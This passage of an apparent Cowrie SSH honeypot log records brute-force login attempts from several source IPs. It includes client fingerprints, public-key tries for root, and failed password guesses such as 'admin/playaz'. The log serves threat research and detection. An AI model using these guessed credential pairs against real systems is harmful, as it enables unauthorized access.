{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjDCeVItnz/j8JXl43PPUbHvFJBXnSGclTmHZ8HtukISJjtU4E3smwRDxcIvZXiJFr4Qcs4rGr0edHUvePHCdECbOE2idJWTWVW9oxwYrqCOWevvnYGbCyN1w4km7K4I+3j8IzDu0WzMBXCXS2BrCM8TDnYyfehKFtIuY7k4dhbbCm9pBIiKOMb23btEzz7A8kqChRvhmy4LgqSV3BkC6FnyTqzBZ8TCuLEgxpsv1ejuhJFhuei1uW5wA6FfrHDz5eunZgsw2IjbBTrDInCmSpb/ZWSWHzFR4kO6ztN1STLuPPGOfS0C9aOYnaXBa/YjC8KLcwJaVWJNm3v0nqye9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.708512Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKt0iih2PfOdAvOqaginYwEEdJ32YivJ4CCsSjN/veIwqepkW/7xfvAEvj0QeHyBCKvPFczvBAkFwB9oXl56YguAJvtNx49CYMztDJWLGOqMSIQSpuQnw5Vty6e0mGcML8Pto4MV+tTL1MijnB1GKWEFmFbuhjfhjgIwFYstqX9MVs/nUtjbk9mG+RcZynWuc1XeVBOPdxZ/mGrwwfwdEsqwk9k9rhNipOCB226VPSmEGHPzJBaTgsEAn/2low82scnG1jWFeHgBseArKee044+gdF2Hsm1gwd2VOzzcW3tT32PUYs66HkEL5wZ0AzBw77jJpbf/kwgEY+FVnSdej","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.717068Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKt0iih2PfOdAvOqaginYwEEdJ32YivJ4CCsSjN/veIwqepkW/7xfvAEvj0QeHyBCKvPFczvBAkFwB9oXl56YguAJvtNx49CYMztDJWLGOqMSIQSpuQnw5Vty6e0mGcML8Pto4MV+tTL1MijnB1GKWEFmFbuhjfhjgIwFYstqX9MVs/nUtjbk9mG+RcZynWuc1XeVBOPdxZ/mGrwwfwdEsqwk9k9rhNipOCB226VPSmEGHPzJBaTgsEAn/2low82scnG1jWFeHgBseArKee044+gdF2Hsm1gwd2VOzzcW3tT32PUYs66HkEL5wZ0AzBw77jJpbf/kwgEY+FVnSdej","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.721160Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.729518Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48713,"dst_ip":"10.17.0.5","dst_port":22,"session":"55108e6234c4","protocol":"ssh","message":"New connection: 2.57.121.112:48713 (10.17.0.5:22) [session: 55108e6234c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:25.073269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:25.078509Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:25.181306Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"playaz","message":"login attempt [admin/playaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:25.661741Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"plate","message":"login attempt [admin/plate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:26.766520Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pitufo","message":"login attempt [admin/pitufo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:27.871632Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pittsbur","message":"login attempt [admin/pittsbur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:28.976640Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pioneers","message":"login attempt [admin/pioneers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:30.081587Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.186767Z","src_ip":"2.57.121.112","session":"55108e6234c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":54758,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c858b039fac","protocol":"ssh","message":"New connection: 50.6.197.105:54758 (10.17.0.5:22) [session: 8c858b039fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.430784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.434890Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.651321Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgQhXIyIncNJIOCaEMoN9gV9OtHvio9R7JrPn6AqRtfjH60HrrnkYtgW7vhgOXXZyQH+6vG0nO/A9tR0Rwygta8S0IiIPvrB1NSVT+qMwViYn+4VyLkVgzXP1Zi4SssX61GrpvmXrHnHlEo2WioXSGy11qmNGbz6rugO8b/zNqpiLBz4+VgA9REENQN5d/8IL0ez7W/7c09mPQv4pnA2XOhTVKv8H69su9J5IA48frAb7uDqQ6wWw373zwGV7ssKBUnRZaurIxbsqDfO/w8pggYC8V6pXK5ozMP7/SCuyzAThd/jwnledvJVvgvsWuInkLteqaHz0zjvQrG3hzXYAF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.822167Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgQhXIyIncNJIOCaEMoN9gV9OtHvio9R7JrPn6AqRtfjH60HrrnkYtgW7vhgOXXZyQH+6vG0nO/A9tR0Rwygta8S0IiIPvrB1NSVT+qMwViYn+4VyLkVgzXP1Zi4SssX61GrpvmXrHnHlEo2WioXSGy11qmNGbz6rugO8b/zNqpiLBz4+VgA9REENQN5d/8IL0ez7W/7c09mPQv4pnA2XOhTVKv8H69su9J5IA48frAb7uDqQ6wWw373zwGV7ssKBUnRZaurIxbsqDfO/w8pggYC8V6pXK5ozMP7/SCuyzAThd/jwnledvJVvgvsWuInkLteqaHz0zjvQrG3hzXYAF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.826174Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bQLcNol7OGZHBBUYH84pMB7vxpRZd0BQEkK6pAzdy9pXQHDRqnFCSFVKB9HD4p5kqQ6EkNIWdRg5VbPpWp47o5DCHSbsmjV1fGRiUDfjIKfJK9Mp9HiO6hwTakO/EoGXs3wS+8WmnCnyPHl1BLGYSeUSMn7NxK5415SaXjqqRsK7+ChE5KkL+8Qc7X3zMHHEcnuWFsno6EzDAX6uGks2mb+MlTJsfhLb+oolEjOrk9W/5f+QsNawELkcT5bGsVJO0VUMDuUxiUQPWMpNH6XhzDSO8N5kmoHfVaTs69slmq+tqwWQWTXahIpHyEbb7dvW+6uN/TsrcLAJcAdihmc1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.871368Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bQLcNol7OGZHBBUYH84pMB7vxpRZd0BQEkK6pAzdy9pXQHDRqnFCSFVKB9HD4p5kqQ6EkNIWdRg5VbPpWp47o5DCHSbsmjV1fGRiUDfjIKfJK9Mp9HiO6hwTakO/EoGXs3wS+8WmnCnyPHl1BLGYSeUSMn7NxK5415SaXjqqRsK7+ChE5KkL+8Qc7X3zMHHEcnuWFsno6EzDAX6uGks2mb+MlTJsfhLb+oolEjOrk9W/5f+QsNawELkcT5bGsVJO0VUMDuUxiUQPWMpNH6XhzDSO8N5kmoHfVaTs69slmq+tqwWQWTXahIpHyEbb7dvW+6uN/TsrcLAJcAdihmc1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.875473Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykHuGeyDc7wZLYZ+9nlXZ+Rh+CI46BJsEwniCIO+iAGcWQIm85Ml3FAQJEqey7BfV6VfDd77cn+f8j/cJaSeSRp0JXu9oe/mCIptG/cfMYx2DzbP36tlKYtfpX4eVKil5rAqGz1BVPc20dUxhWTQpTvWxkRhQf0KPYHtMU9o/NH+coWfaPJDzWPJDBEpMOW1Eo5zlY2/+3GKrUcEBNPOMvZp+A6u7syqAz/7YEIteR/p+sDdL+5B0vkvgSkY563SGAs36aZQeIk3dWXvDpP7bsD4SFybOe+W6ENguu2SmGfUzuuy2Fr/c0xW54Gs5yGsZMozSY+g9RWoYeCvfTkt9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.921253Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykHuGeyDc7wZLYZ+9nlXZ+Rh+CI46BJsEwniCIO+iAGcWQIm85Ml3FAQJEqey7BfV6VfDd77cn+f8j/cJaSeSRp0JXu9oe/mCIptG/cfMYx2DzbP36tlKYtfpX4eVKil5rAqGz1BVPc20dUxhWTQpTvWxkRhQf0KPYHtMU9o/NH+coWfaPJDzWPJDBEpMOW1Eo5zlY2/+3GKrUcEBNPOMvZp+A6u7syqAz/7YEIteR/p+sDdL+5B0vkvgSkY563SGAs36aZQeIk3dWXvDpP7bsD4SFybOe+W6ENguu2SmGfUzuuy2Fr/c0xW54Gs5yGsZMozSY+g9RWoYeCvfTkt9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.925198Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjDCeVItnz/j8JXl43PPUbHvFJBXnSGclTmHZ8HtukISJjtU4E3smwRDxcIvZXiJFr4Qcs4rGr0edHUvePHCdECbOE2idJWTWVW9oxwYrqCOWevvnYGbCyN1w4km7K4I+3j8IzDu0WzMBXCXS2BrCM8TDnYyfehKFtIuY7k4dhbbCm9pBIiKOMb23btEzz7A8kqChRvhmy4LgqSV3BkC6FnyTqzBZ8TCuLEgxpsv1ejuhJFhuei1uW5wA6FfrHDz5eunZgsw2IjbBTrDInCmSpb/ZWSWHzFR4kO6ztN1STLuPPGOfS0C9aOYnaXBa/YjC8KLcwJaVWJNm3v0nqye9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.973181Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjDCeVItnz/j8JXl43PPUbHvFJBXnSGclTmHZ8HtukISJjtU4E3smwRDxcIvZXiJFr4Qcs4rGr0edHUvePHCdECbOE2idJWTWVW9oxwYrqCOWevvnYGbCyN1w4km7K4I+3j8IzDu0WzMBXCXS2BrCM8TDnYyfehKFtIuY7k4dhbbCm9pBIiKOMb23btEzz7A8kqChRvhmy4LgqSV3BkC6FnyTqzBZ8TCuLEgxpsv1ejuhJFhuei1uW5wA6FfrHDz5eunZgsw2IjbBTrDInCmSpb/ZWSWHzFR4kO6ztN1STLuPPGOfS0C9aOYnaXBa/YjC8KLcwJaVWJNm3v0nqye9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:31.977088Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKt0iih2PfOdAvOqaginYwEEdJ32YivJ4CCsSjN/veIwqepkW/7xfvAEvj0QeHyBCKvPFczvBAkFwB9oXl56YguAJvtNx49CYMztDJWLGOqMSIQSpuQnw5Vty6e0mGcML8Pto4MV+tTL1MijnB1GKWEFmFbuhjfhjgIwFYstqX9MVs/nUtjbk9mG+RcZynWuc1XeVBOPdxZ/mGrwwfwdEsqwk9k9rhNipOCB226VPSmEGHPzJBaTgsEAn/2low82scnG1jWFeHgBseArKee044+gdF2Hsm1gwd2VOzzcW3tT32PUYs66HkEL5wZ0AzBw77jJpbf/kwgEY+FVnSdej","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:32.024498Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKt0iih2PfOdAvOqaginYwEEdJ32YivJ4CCsSjN/veIwqepkW/7xfvAEvj0QeHyBCKvPFczvBAkFwB9oXl56YguAJvtNx49CYMztDJWLGOqMSIQSpuQnw5Vty6e0mGcML8Pto4MV+tTL1MijnB1GKWEFmFbuhjfhjgIwFYstqX9MVs/nUtjbk9mG+RcZynWuc1XeVBOPdxZ/mGrwwfwdEsqwk9k9rhNipOCB226VPSmEGHPzJBaTgsEAn/2low82scnG1jWFeHgBseArKee044+gdF2Hsm1gwd2VOzzcW3tT32PUYs66HkEL5wZ0AzBw77jJpbf/kwgEY+FVnSdej","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:32.028131Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:32.076132Z","src_ip":"50.6.197.105","session":"8c858b039fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":15412,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9823d8cf72","protocol":"ssh","message":"New connection: 165.154.36.71:15412 (159.203.135.109:22) [session: 2a9823d8cf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:37.440876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:37.445572Z","src_ip":"165.154.36.71","session":"2a9823d8cf72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:37.518065Z","src_ip":"165.154.36.71","session":"2a9823d8cf72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test$123","message":"login attempt [test/test$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:37.836907Z","src_ip":"165.154.36.71","session":"2a9823d8cf72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:38.913229Z","src_ip":"165.154.36.71","session":"2a9823d8cf72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":48670,"dst_ip":"10.17.0.5","dst_port":22,"session":"f04eeaec7767","protocol":"ssh","message":"New connection: 148.153.245.161:48670 (10.17.0.5:22) [session: f04eeaec7767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.235759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.240951Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2